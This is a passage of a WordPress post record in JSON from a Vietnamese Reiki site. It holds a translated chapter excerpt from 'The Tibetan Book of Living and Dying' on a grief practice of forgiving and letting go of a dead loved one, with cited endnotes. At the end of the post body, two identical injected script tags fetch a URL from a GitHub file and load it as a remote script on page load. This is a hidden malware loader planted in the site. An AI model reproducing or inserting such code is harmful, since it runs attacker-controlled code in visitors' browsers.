m\u1ed9t \u0111o\u1ea1n v\u0103n c\u1ea3m \u0111\u1ed9ng v\u1ec1 v\u00f4 th\u01b0\u1eddng hay n\u1ed7i bu\u1ed3n, v\u00e0 \u0111\u1ec3 tr\u00ed hu\u1ec7 c\u1ee7a n\u00f3 \u0111em l\u1ea1i cho b\u1ea1n s\u1ef1 khu\u00e2y kho\u1ea3.<\/p>\n<p>Ch\u1ea5p nh\u1eadn v\u00e0 ch\u1ea5m d\u1ee9t ti\u1ebfc th\u01b0\u01a1ng l\u00e0 \u0111i\u1ec1u c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c. M\u1ed9t c\u00e1ch m\u00e0 nhi\u1ec1u ng\u01b0\u1eddi \u0111\u00e3 d\u00f9ng v\u00e0 th\u1ea5y gi\u00fap \u00edch l\u00e0 m\u1ed9t bi\u1ebfn th\u1ec3 c\u1ee7a ph\u01b0\u01a1ng ph\u00e1p t\u00f4i \u0111\u00e3 gi\u1ea3i th\u00edch \u0111\u1ec3 ho\u00e0n t\u1ea5t vi\u1ec7c dang d\u1edf. Kh\u00f4ng th\u00e0nh v\u1ea5n \u0111\u1ec1 ng\u01b0\u1eddi b\u1ea1n y\u00eau m\u1ebfn \u0111\u00e3 ch\u1ebft bao l\u00e2u tr\u01b0\u1edbc \u0111\u00e2y, b\u1ea1n s\u1ebd th\u1ea5y c\u00e1ch n\u00e0y hi\u1ec7u qu\u1ea3 nh\u1ea5t.<\/p>\n<p>Qu\u00e1n t\u01b0\u1edfng r\u1eb1ng m\u1ecdi ch\u01b0 ph\u1eadt v\u00e0 ng\u01b0\u1eddi ch\u1ee9ng ng\u1ed9 \u0111ang trong b\u1ea7u tr\u1eddi ph\u00eda tr\u00ean v\u00e0 quanh b\u1ea1n, chi\u1ebfu xu\u1ed1ng nh\u1eefng tia s\u00e1ng t\u1eeb bi v\u00e0 \u0111em cho b\u1ea1n s\u1ef1 h\u1ed7 tr\u1ee3 v\u00e0 ph\u00fac l\u00e0nh. V\u1edbi s\u1ef1 hi\u1ec7n di\u1ec7n c\u1ee7a h\u1ecd, ti\u1ebfc th\u01b0\u01a1ng v\u00e0 n\u00f3i nh\u1eefng \u0111i\u1ec1u b\u1ea1n ph\u1ea3i n\u00f3i, nh\u1eefng \u0111i\u1ec1u th\u1ef1c trong t\u00e2m tr\u00ed, v\u1edbi ng\u01b0\u1eddi b\u1ea1n y\u00eau m\u1ebfn nay \u0111\u00e3 ch\u1ebft.<\/p>\n<p>Qu\u00e1n t\u01b0\u1edfng r\u1eb1ng ng\u01b0\u1eddi ch\u1ebft \u0111ang nh\u00ecn b\u1ea1n v\u1edbi t\u00ecnh y\u00eau v\u00e0 hi\u1ec3u bi\u1ebft l\u1edbn h\u01a1n r\u1eb1ng ng\u01b0\u1eddi \u0111\u00f3 v\u1eabn \u0111ang s\u1ed1ng \u0111\u1ed9ng. Bi\u1ebft r\u1eb1ng ng\u01b0\u1eddi ch\u1ebft mu\u1ed1n b\u1ea1n hi\u1ec3u r\u1eb1ng ng\u01b0\u1eddi \u0111\u00f3 y\u00eau b\u1ea1n v\u00e0 tha th\u1ee9 cho b\u1ea1n v\u1ec1 b\u1ea5t k\u00ec c\u00e1i g\u00ec b\u1ea1n \u0111\u00e3 l\u00e0m, v\u00e0 mu\u1ed1n h\u1ecfi v\u00e0 nh\u1eadn \u0111\u01b0\u1ee3c tha th\u1ee9 <em>c\u1ee7a b\u1ea1n<\/em>.<\/p>\n<p>Cho ph\u00e9p t\u1ea5m l\u00f2ng c\u1ee7a b\u1ea1n m\u1edf v\u00e0 n\u00f3i l\u00ean th\u00e0nh l\u1eddi b\u1ea5t k\u00ec gi\u1eadn, b\u1ea5t k\u00ec t\u00ecnh c\u1ea3m t\u1ed5n th\u01b0\u01a1ng n\u00e0o, b\u1ea1n c\u00f3 th\u1ec3 \u0111ang ph\u1ea3i ch\u1ecbu \u0111\u1ef1ng, v\u00e0 bu\u00f4ng b\u1ecf ch\u00fang ho\u00e0n to\u00e0n. V\u1edbi to\u00e0n th\u1ec3 con tim v\u00e0 kh\u1ed1i \u00f3c c\u1ee7a b\u1ea1n, \u0111\u1ec3 tha th\u1ee9 c\u1ee7a b\u1ea1n \u0111i ra h\u01b0\u1edbng t\u1edbi ng\u01b0\u1eddi ch\u1ebft. N\u00f3i v\u1edbi ng\u01b0\u1eddi \u0111\u00f3 v\u1ec1 tha th\u1ee9 c\u1ee7a b\u1ea1n; n\u00f3i v\u1edbi ng\u01b0\u1eddi \u0111\u00f3 v\u1ec1 nh\u1eefng h\u1ed1i ti\u1ebfc m\u00e0 b\u1ea1n c\u1ea3m th\u1ea5y v\u00ec m\u1ecdi n\u1ed7i \u0111au m\u00e0 b\u1ea1n c\u00f3 th\u1ec3 \u0111\u00e3 g\u00e2y ra.<\/p>\n<p>B\u00e2y gi\u1edd c\u1ea3m nh\u1eadn b\u1eb1ng c\u1ea3 con ng\u01b0\u1eddi b\u1ea1n v\u1ec1 su\u1ed1i ngu\u1ed3n tha th\u1ee9 v\u00e0 t\u00ecnh y\u00eau c\u1ee7a ng\u01b0\u1eddi \u0111\u00f3 \u0111ang ch\u1ea3y v\u1ec1 b\u1ea1n. Bi\u1ebft trong s\u00e2u th\u1eb3m con ng\u01b0\u1eddi b\u1ea1n r\u1eb1ng b\u1ea1n l\u00e0 \u0111\u00e1ng y\u00eau v\u00e0 \u0111\u00e1ng \u0111\u01b0\u1ee3c tha th\u1ee9, v\u00e0 c\u1ea3m th\u1ea5y ti\u1ebfc th\u01b0\u01a1ng c\u1ee7a b\u1ea1n tan bi\u1ebfn.<\/p>\n<p>V\u00e0 \u0111\u1ebfn cu\u1ed1i vi\u1ec7c tu luy\u1ec7n, h\u1ecfi b\u1ea3n th\u00e2n b\u1ea1n li\u1ec7u b\u1ea1n b\u00e2y gi\u1edd c\u00f3 th\u1ec3 th\u1ef1c s\u1ef1 n\u00f3i c\u00e2u v\u0129nh bi\u1ec7t v\u00e0 th\u1ef1c s\u1ef1 bu\u00f4ng b\u1ecf \u0111\u01b0\u1ee3c ng\u01b0\u1eddi \u0111\u00f3. T\u01b0\u1edfng t\u01b0\u1ee3ng ng\u01b0\u1eddi \u0111\u00f3 quay m\u00ecnh v\u00e0 r\u1eddi \u0111i, v\u00e0 th\u1ebf r\u1ed3i k\u1ebft th\u00fac b\u1eb1ng vi\u1ec7c l\u00e0m chuy\u1ec3n th\u1ee9c, hay m\u1ed9t tu luy\u1ec7n kh\u00e1c \u0111\u1ec3 gi\u00fap cho ng\u01b0\u1eddi ch\u1ebft.<\/p>\n<p>Tu luy\u1ec7n n\u00e0y s\u1ebd cho b\u1ea1n c\u01a1 h\u1ed9i bi\u1ec3u l\u1ed9 t\u00ecnh y\u00eau c\u1ee7a b\u1ea1n th\u00eam m\u1ed9t l\u1ea7n n\u1eefa, l\u00e0m c\u00e1i g\u00ec \u0111\u00f3 \u0111\u1ec3 gi\u00fap cho ng\u01b0\u1eddi \u0111\u00e3 ch\u1ebft v\u00e0 l\u00e0m \u0111\u1ea7y \u0111\u1ee7 v\u00e0 ch\u1eefa l\u00e0nh m\u1ed1i quan h\u1ec7 trong tim b\u1ea1n.<\/p>\n<p>&nbsp;<\/p>\n<p>B\u1ea1n c\u00f3 th\u1ec3 h\u1ecdc \u0111\u01b0\u1ee3c nhi\u1ec1u th\u1ebf, n\u1ebfu b\u1ea1n \u0111\u1ec3 b\u1ea3n th\u00e2n b\u1ea1n ra kh\u1ecfi ti\u1ebfc th\u01b0\u01a1ng v\u00e0 m\u1ea5t ng\u01b0\u1eddi th\u00e2n. Vi\u1ec7c m\u1ea5t ng\u01b0\u1eddi th\u00e2n c\u00f3 th\u1ec3 bu\u1ed9c b\u1ea1n nh\u00ecn th\u1eb3ng v\u00e0o cu\u1ed9c \u0111\u1eddi b\u1ea1n, bu\u1ed9c b\u1ea1n t\u00ecm ra ch\u1ee7 \u0111\u1ecbnh trong n\u00f3 m\u00e0 c\u00f3 th\u1ec3 \u0111\u00e3 kh\u00f4ng c\u00f3 tr\u01b0\u1edbc \u0111\u00e2y. Khi \u0111\u1ed9t nhi\u00ean b\u1ea1n th\u1ea5y b\u1ea3n th\u00e2n b\u1ea1n m\u1ed9t m\u00ecnh sau ch\u1ebft c\u1ee7a ai \u0111\u00f3 m\u00e0 b\u1ea1n y\u00eau m\u1ebfn, \u0111i\u1ec1u \u0111\u00f3 c\u00f3 th\u1ec3 cho b\u1ea1n c\u1ea3m th\u1ea5y d\u01b0\u1eddng nh\u01b0 b\u1ea1n \u0111ang \u0111\u01b0\u1ee3c trao cho m\u1ed9t cu\u1ed9c \u0111\u1eddi m\u1edbi v\u00e0 \u0111ang \u0111\u01b0\u1ee3c h\u1ecfi &#8220;B\u1ea1n s\u1ebd l\u00e0m g\u00ec v\u1edbi cu\u1ed9c \u0111\u1eddi n\u00e0y? V\u00e0 t\u1ea1i sao b\u1ea1n mu\u1ed1n ti\u1ebfp t\u1ee5c s\u1ed1ng?&#8221;<\/p>\n<p>M\u1ea5t m\u00e1t v\u00e0 vi\u1ec7c m\u1ea5t ng\u01b0\u1eddi th\u00e2n c\u0169ng c\u00f3 th\u1ec3 nh\u1eafc nh\u1edf b\u1ea1n m\u1ed9t c\u00e1ch g\u1eaft gao v\u1ec1 \u0111i\u1ec1u c\u00f3 th\u1ec3 x\u1ea3y ra khi trong cu\u1ed9c s\u1ed1ng b\u1ea1n kh\u00f4ng bi\u1ec3u l\u1ed9 t\u00ecnh y\u00eau v\u00e0 s\u1ef1 tr\u00e2n tr\u1ecdng c\u1ee7a b\u1ea1n, hay h\u1ecfi xin tha th\u1ee9, v\u00e0 do v\u1eady c\u00f3 th\u1ec3 l\u00e0m cho b\u1ea1n kh\u00f4ng nh\u1ea1y c\u1ea3m nhi\u1ec1u h\u01a1n v\u1edbi ng\u01b0\u1eddi b\u1ea1n y\u00eau m\u1ebfn v\u1eabn \u0111ang s\u1ed1ng. Elisabeth Kubler-Ross \u0111\u00e3 n\u00f3i, &#8220;\u0110i\u1ec1u t\u00f4i c\u1ed1 d\u1ea1y m\u1ecdi ng\u01b0\u1eddi l\u00e0 s\u1ed1ng theo c\u00e1ch m\u00e0 b\u1ea1n n\u00f3i v nh\u1eefng \u0111i\u1ec1u \u0111\u00f3 trong khi ng\u01b0\u1eddi kia v\u1eabn c\u00f2n c\u00f3 th\u1ec3 nghe \u0111\u01b0\u1ee3c.&#8221;<a href=\"#_edn2\" name=\"_ednref2\">[ii]<\/a> V\u00e0 Raymond Moody, sau c\u00f4ng vi\u1ec7c c\u1ea3 \u0111\u1eddi c\u1ee7a \u00f4ng \u1ea5y trong tr\u00ecnh nghi\u00ean c\u1ee9u v\u1ec1 c\u1eadn t\u1eed, \u0111\u00e3 vi\u1ebft: &#8220;T\u00f4i b\u1eaft \u0111\u1ea7u nh\u1eadn ra t\u1ea5t c\u1ea3 ch\u00fang ta \u0111ang \u1edf g\u1ea7n c\u00e1i ch\u1ebft l\u00e0m sao trong cu\u1ed9c s\u1ed1ng h\u00e0ng ng\u00e0y c\u1ee7a ch\u00fang ta. H\u01a1n bao gi\u1edd h\u1ebft b\u00e2y gi\u1edd t\u00f4i r\u1ea5t c\u1ea9n th\u1eadn \u0111\u1ec3 cho t\u1eebng ng\u01b0\u1eddi t\u00f4i y\u00eau bi\u1ebft t\u00f4i c\u1ea3m th\u1ea5y th\u1ebf n\u00e0o.&#8221;<a href=\"#_edn3\" name=\"_ednref3\">[iii]<\/a><\/p>\n<p>Cho n\u00ean l\u1eddi khuy\u00ean ch\u00e2n th\u00e0nh c\u1ee7a t\u00f4i \u0111\u1ed1i v\u1edbi nh\u1eefng ng\u01b0\u1eddi \u0111ang trong chi\u1ec1u s\u00e2u c\u1ee7a ti\u1ebfc th\u01b0\u01a1ng v\u00e0 th\u1ea5t v\u1ecdng sau khi m\u1ea5t ai \u0111\u00f3 h\u1ecd \u0111\u00e3 y\u00eau m\u1ebfn l\u00e0 c\u1ea7u nguy\u1ec7n xin gi\u00fap \u0111\u1ee1 v\u00e0 s\u1ee9c m\u1ea1nh v\u00e0 \u00e2n hu\u1ec7. C\u1ea7u nguy\u1ec7n cho b\u1ea1n s\u1ebd s\u1ed1ng v\u00e0 kh\u00e1m ph\u00e1 ra ngh\u0129a phong ph\u00fa nh\u1ea5t c\u00f3 th\u1ec3 c\u1ee7a cu\u1ed9c s\u1ed1ng m\u1edbi b\u1ea1n b\u00e2y gi\u1edd t\u00ecm th\u1ea5y b\u1ea3n th\u00e2n b\u1ea1n. L\u00e0 mong m\u1ea1nh v\u00e0 nh\u1ea1y c\u1ea3m, l\u00e0 d\u0169ng c\u1ea3m, v\u00e0 l\u00e0 ki\u00ean nh\u1eabn. Tr\u00ean h\u1ebft, nh\u00ecn v\u00e0o cu\u1ed9c s\u1ed1ng c\u1ee7a b\u1ea1n \u0111\u1ec3 t\u00ecm ra c\u00e1ch chia s\u1ebb t\u00ecnh y\u00eau c\u1ee7a b\u1ea1n s\u00e2u s\u1eafc h\u01a1n v\u1edbi ng\u01b0\u1eddi kh\u00e1c b\u00e2y gi\u1edd.<\/p>\n<p>&nbsp;<\/p>\n<p>T\u1eeb \u201cS\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 s\u1ed1ng v\u00e0 ch\u1ebft\u201d, Ch.19: Gi\u00fap \u0111\u1ee1 sau ch\u1ebft<\/p>\n<p><a href=\"#_ednref1\" name=\"_edn1\">[i]<\/a> From &#8220;Dove that Ventured Outside&#8221; in The Selected Poetry of Rainer Maria Rilke, edited and translated by Stephen Mitchell (New York: Vintage Books, 1984), 293.<\/p>\n<p><a href=\"#_ednref2\" name=\"_edn2\">[ii]<\/a> Elisabeth K\u00fcbler-Ross in &#8216;The Child Will Always Be There. Real Love Doesn&#8217;t Die,&#8221; by Daniel Coleman, Psychology Today (September 1976), 52.<\/p>\n<p><a href=\"#_ednref3\" name=\"_edn3\">[iii]<\/a> Raymond A. Moody, Jr., Reflections on Life After Life (New York: Bantam, 1977), 112.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>B\u00e2y gi\u1edd t\u00f4i mu\u1ed1n trao cho b\u1ea1n m\u1ed9t tu luy\u1ec7n c\u00f3 th\u1ec3 th\u1ef1c s\u1ef1 gi\u00fap \u0111\u1ee1 cho b\u1ea1n khi b\u1ea1n \u0111ang ph\u1ea3i ch\u1ecbu \u0111\u1ef1ng \u0111au &hellip; <\/p>\n","protected":false},"author":3,"featured_media":3878,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[66],"tags":[],"class_list":["post-3877","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cach-song-va-chet"],"_links":{"self":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3877","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3877"}],"version-history":[{"count":3,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3877\/revisions"}],"predecessor-version":[{"id":4728,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3877\/revisions\/4728"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/media\/3878"}],"wp:attachment":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3877"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3877"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3877"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}